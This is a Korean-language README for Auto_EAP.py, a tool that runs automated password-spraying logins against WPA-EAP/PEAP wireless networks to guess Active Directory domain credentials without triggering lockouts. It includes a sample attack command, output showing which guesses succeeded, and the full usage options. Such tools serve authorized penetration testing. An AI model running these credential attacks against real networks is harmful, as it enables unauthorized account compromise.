tylous/auto_eapEAP 네트워크에 대한 자동화된 무차별 대입 로그인 공격
######2016년 9월 15일 게시됨
Auto_EAP.py는 다양한 유형의 EAP 네트워크에 대해 자동화된 무차별 대입 인증 공격을 수행하도록 설계된 스크립트입니다. 이러한 유형의 무선 네트워크는 RADIUS 서버가 Active Directory에 대해 인증을 확인할 때 도메인 자격 증명의 비밀번호 추측을 용이하게 하는 인터페이스를 제공합니다. Jouni Malinen [email protected]가 만든 python 라이브러리 wpaspy를 사용하여 wpa_supplicant 데몬과 상호 작용함으로써 계정 잠금을 유발하지 않도록 의도된 자동화된 인증 공격을 수행할 수 있습니다.
./Auto_EAP.py -s HoneyPot -K WPA-EAP -E PEAP -U test.txt -p Summer2016 -i wlan0
Initialized...
Trying Username Alice with Password test: SUCCESS
Trying Username Bob with Password test: FAILED
Trying Username Charles with Password test: FAILED
Trying Username David with Password test: SUCCESS
Completed
Auto_EAP의 루트 디렉터리에서 'RunMeFirst.py'를 실행하세요. 이렇게 하면 wpaspy 라이브러리가 컴파일되고 Auto_EAP.py가 테스트에 사용할 독립적인 wpa_supplicant.conf 파일이 설정되며, 시스템의 wpa_supplicant 구성 파일은 그대로 유지됩니다.
./Auto_EAP.py -h
usage: Auto_EAP.py [-h] -i Interface -s SSID -U Usernamefile -p Password -K
Key_mgmt -E Eap_type
optional arguments:
-h, --help show this help message and exit
-i Interface, --interface Interface
The Interface to use
-s SSID, --ssid SSID The SSID to attack
-U Usernamefile, --User Usernamefile
Path to username file
-p Password, --password Password
Password to use
-K Key_mgmt, --key_mgmt Key_mgmt
Key_Management type to use
-E Eap_type, --eap_type Eap_type
Eap type to use